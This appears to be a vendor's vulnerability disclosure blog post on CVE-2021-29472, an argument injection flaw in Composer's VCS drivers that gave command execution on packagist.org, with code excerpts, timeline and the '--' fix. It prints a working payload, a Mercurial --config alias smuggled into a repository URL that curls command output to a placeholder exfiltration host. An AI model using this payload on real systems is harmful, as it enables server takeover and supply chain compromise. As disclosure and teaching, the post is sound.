Blog post

PHP Supply Chain Attack on Composer

Thomas Chauchefoin photo

Thomas Chauchefoin

Vulnerability Researcher

Date

  • Security
We recently discovered a vulnerability in Composer, the main package manager for PHP, and were able to use it to take over the central repository, packagist.org.

Supply chain attacks are a hot topic for development organizations today. Last year, in the largest ever software supply chain attack, 18,000 SolarWinds customers were infected with a backdoor. Earlier this year, a security researcher was able to breach Apple, Microsoft, Paypal and other tech giants using a new supply chain attack technique. The underlying problem exploited by these attacks is that all modern software is built on top of other, third-party software components, often without clear visibility on all the downloaded packages. And while reusing many components allows to speed up the development process, infecting the supply chain is a very effective and subtle attack vector to compromise many organizations at once.


In the PHP ecosystem, Composer is the major tool to manage and install software dependencies. It is used by development teams world-wide to ease the update process and to ensure that applications work effortless across environments and versions. For this purpose, Composer uses an online service named Packagist that determines the correct supply chain for package downloads. Within only one month, the public Packagist infrastructure serves around 1.4 billion download requests! 


During our security research, we discovered a critical vulnerability in the source code of Composer which is used by Packagist. It allowed us to execute arbitrary system commands on the Packagist.org server. A vulnerability in such a central component, serving more than 100M package metadata requests per month, has a huge impact as this access could have been used to steal maintainers’ credentials or to redirect package downloads to third-party servers delivering backdoored dependencies.


In this blog post, we introduce the detected code vulnerabilities and how these were patched. Some of the vulnerable code is present since the first versions of Composer, 10 years ago. For instance one of the bugs we’ll detail was introduced in November 2011. After discovery, we reported all issues to the Packagist team who quickly deployed a fix within only 12 hours and assigned CVE-2021-29472. To the best of their knowledge the vulnerability has not been exploited (see their blog post). 


Update: this article has been nominated at the Pwnie Awards (an "annual awards ceremony celebrating the achievements and failures of security researchers and the security community") in the category Most Under-Hyped Research!

Technical Details

When asked to download a package, Composer will first query Packagist to obtain its metadata (e.g. here for Composer itself). This metadata contains, among others and for each version, two fields about where to fetch the code from: source, pointing to the development repository and dist, pointing to pre-built archives. Composer will use external system commands to avoid re-implementing the logic specific to each version control software (VCS) when downloading code from repositories. For this purpose, such calls are performed by using the wrapper ProcessExecutor:


composer/src/Composer/Util/ProcessExecutor.php

use Symfony\Component\Process\Process;
// [...]
class ProcessExecutor
{
    // [...]
    public function execute($command, &$output = null, $cwd = null)
    {
        if (func_num_args() > 1) {
            return $this->doExecute($command, $cwd, false, $output);
        }
        return $this->doExecute($command, $cwd, false);
    }
    // [...]
    private function doExecute($command, $cwd, $tty, &$output = null)
    {
        // [...]
        if (method_exists('Symfony\Component\Process\Process', 'fromShellCommandline')) {
            // [1]
            $process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());
        } else {
            // [2]
            $process = new Process($command, $cwd, null, null, static::getTimeout());
        }
        if (!Platform::isWindows() && $tty) {
            try {
                $process->setTty(true);
            } catch (RuntimeException $e) {
                // ignore TTY enabling errors
            }
        }
        $callback = is_callable($output) ? $output : array($this, 'outputHandler');
        $process->run($callback);


At [1] and [2], we can see that the parameter $command is executed in a shell by Symfony\Component\Process\Process. Most ProcessExecutor calls are performed in VCS drivers that are responsible for any operation on remote and local repositories (cloning, extracting information, etc), like for instance in the Git driver:


composer/src/Composer/Repository/Vcs/GitDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i', $url)) {
        return true;
    }
    // [...]
    try {
        $gitUtil->runCommand(function ($url) {
            return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]
        }, $url, sys_get_temp_dir());
    } catch (\RuntimeException $e) {
        return false;
    }


While the argument $url is escaped using ProcessExecutor::escape() to prevent the evaluation of subcommands ($(...)`...`) by the shell, nothing will prevent the user from providing a value starting with dashes (--) and appending extra arguments to the final command. This type of vulnerability is called Parameter or Argument Injection.


The same vulnerable pattern can be found in all the other drivers, where user-controlled data is correctly escaped but concatenated to a system command:


composer/src/Composer/Repository/Vcs/SvnDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    $url = self::normalizeUrl($url);
    if (preg_match('#(^svn://|^svn\+ssh://|svn\.)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(
        "svn info --non-interactive ".ProcessExecutor::escape($url),
        $ignoredOutput
    );


composer/src/Composer/Repository/Vcs/HgDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?)\.kilnhg.com)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);
    return $exit === 0;
}


Argument injection bugs are a really cool class of bugs that tend to be often overlooked during code reviews, and completely missed in black-box engagements. While it is known that user-controlled values should be correctly neutralized using escapeshellarg(), there is no warning that they could still be treated as options. 


However, it is very unlikely that we can force a user to point Composer to an arbitrary URL under the attacker's control. Worst: if we can already do so, it would be way easier to publish our own malicious package and force Composer to pull it on target’s server. Do we have a useless bug here?

Compromising packagist.org

Just in case you are not familiar with the PHP packaging ecosystem, your project becomes a package as soon you add a file named composer.json in the top directory. Then, you only need to create an account on packagist.org, submit your repository URL and it will automatically fetch your project, parse your composer.json and create the associated package if everything went well: your package is now public, visible on Packagist and can be installed by anybody!


Packagist.org will rely on composer’s API (it can be used as a CLI tool or directly using an API) to fetch the package during creation, thus supporting various VCS like Git, Subversion, Mercurial, etc. As you can see in packagist/src/Entity/Package.php, it will do the following actions:


packagist/src/Entity/Package.php

$io = new NullIO();
$config = Factory::createConfig();
$io->loadConfiguration($config);
$httpDownloader = new HttpDownloader($io, $config);
$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]



$driver = $this->vcsDriver = $repository->getDriver(); // [2]
if (!$driver) {
    return;
}



$information = $driver->getComposerInformation($driver->getRootIdentifier());
if (!isset($information['name'])) {
    return;
}



if (null === $this->getName()) {
    $this->setName(trim($information['name']));
}


The class VcsRepository ([1]comes from Composer, and the call to getDriver() ([2]) will trigger calls to methods supports() and initialize() of the following VCS “drivers”:

  • GitHubDriver
  • GitLabDriver
  • GitBitbucketDriver
  • GitDriver
  • HgBitbucketDriver
  • HgDriver
  • PerforceDriver
  • FossilDriver
  • SvnDriver


Sounds familiar? These classes are where we found argument injection bugs! 

Exploitation time!

We don’t often discuss exploitation details to avoid any malicious mass-exploitation quickly after our blog posts, but we feel like this Composer bug will only have a limited impact by itself. Still, if you happen to use composer and VcsRepository with user-controlled URLs or if you have your own Packagist instance, make extra sure to upgrade.


As all drivers are basically vulnerable, we decided to look for the easiest one to exploit. Argument injection on git is fairly documented (--upload-pack--output), but git ls-remote here expects one positional argument, but we can’t provide both --upload-pack and a positional argument as our value is surrounded by single quotes. We were not able to identify a way to gain code execution with it, and then looked at the other drivers. 


While playing with the Mercurial client (hg) and reading its manual we noticed the presence of a flag named --config, allowing us to load new configuration directives to the client before performing any action. The client supports the alias setting, with a very promising description:


It is possible to create aliases with the same names as existing commands, which will then override the original definitions. This is almost always a bad idea!


An alias can start with an exclamation point (!) to make it a shell alias. A shell alias is executed with the shell and will let you run arbitrary commands. As an example,


echo = !echo $@


That’s perfect for us: we will alias the command identify to a shell command of our choice, and hg will happily execute it for us instead of looking for a remote repository. Our final payload looked like the following:

--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”

After submitting a new package with this URL on packagist.org, we indeed received the following HTTP request body from an AWS host:

total 120K 
drwxrwxr-x  9 composer composer 4.0K Apr 21 23:19 . 
dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 .. 
-r--r--r--  1 composer composer 8.7K Apr 20 07:38 .htaccess 
-r--r--r--  1 composer composer 1.3K Apr 20 07:38 app.php 
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png 
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png 
dr-xr-xr-x  3 composer composer 4.0K Jan 13 14:35 bundles 
dr-xr-xr-x  4 composer composer 4.0K Apr 20 07:38 css [...] 
lrwxrwxrwx  1 composer composer   15 Aug 13  2020 packages.json -> p/packages.json 
lrwxrwxrwx  1 composer composer   18 Aug 13  2020 packages.json.gz -> p/packages.json.gz 
-r--r--r--  1 composer composer  106 Apr 20 07:38 robots.txt 
-r--r--r--  1 composer composer  798 Apr 20 07:38 search.osd 
dr-xr-xr-x  2 composer composer 4.0K Apr 20 07:38 static-error 
-r--r--r--  1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png

This was enough to confirm that we obtained command execution; we promptly notified security (at) packagist.org and did not try to elevate privileges.

Patch

The maintainers quickly (< 12 hours) deployed a hotfix in production, effectively preventing the exploitation of this vulnerability. Composer fixes were pushed on April, 27th and releases 1.10.22 / 2.0.13 were published right after. Packagist is now using the up-to-date version of Composer.


As for most argument injection vulnerabilities, the fix consists of only two characters: --. POSIX specifies that:


The first -- argument that is not an option-argument should be accepted as a delimiter indicating the end of options. Any following arguments should be treated as operands, even if they begin with the '-' character.


If you try to reproduce the vulnerabilities at home, you may notice that fossil only recently improved support for this feature. We did not pursue this exploitation scenario, but it could have an interesting impact on environments in which fossil 2.11 is not yet available (e.g. Debian Buster).

Timeline

DateAction
2021-04-22First contact to security (at) packagist.org
2021-04-22A hotfix is deployed in packagist.org
2021-04-26CVE-2021-29472 assigned by GitHub
2021-04-27Composer 1.10.22 and 2.0.13 are released

Summary

We demonstrated how a seemingly innocuous bug in Composer could impact services such as Packagist.org. Researchers like Max Justicz regularly discover security issues in package managers and the associated services, and their impact is potentially considerable. Companies need to spend more effort on auditing tools in their supply chain, and provide additional expertise on tickets related to code signing and to the reduction of the impact of such attacks. 


It should be noted that the maintainers did not identify any sign of prior exploitation of this vulnerability on the public packagist instance. As this software can also be installed on-premise, they still advise to look for potential exploitation leftovers by looking for URLs starting by --config in your composer.lock file. 


While this bug is quite old and easy to identify, it could have been missed because easier vulnerabilities were lying around, like the one already discovered by Max Justicz on Packagist in 2018. Parameter injection on VCS tools are the speciality of a few researchers like @_staaldraad (CVE-2019-13139 - Docker build code execution), @joernchen (CVE-2018-17456 - Git Submodule RCE), @wcbowling (GitHub RCEGitlab RCE); we encourage you to take a look at their previous work to learn more about this bug class.


We’ll be happy to discuss these bugs in our community forum thread!


Finally, we would like to thank Jordi Boggiano and Nils Adermann of Packagist for their super fast fixes and the awesome work they do to maintain such a central piece of the PHP ecosystem.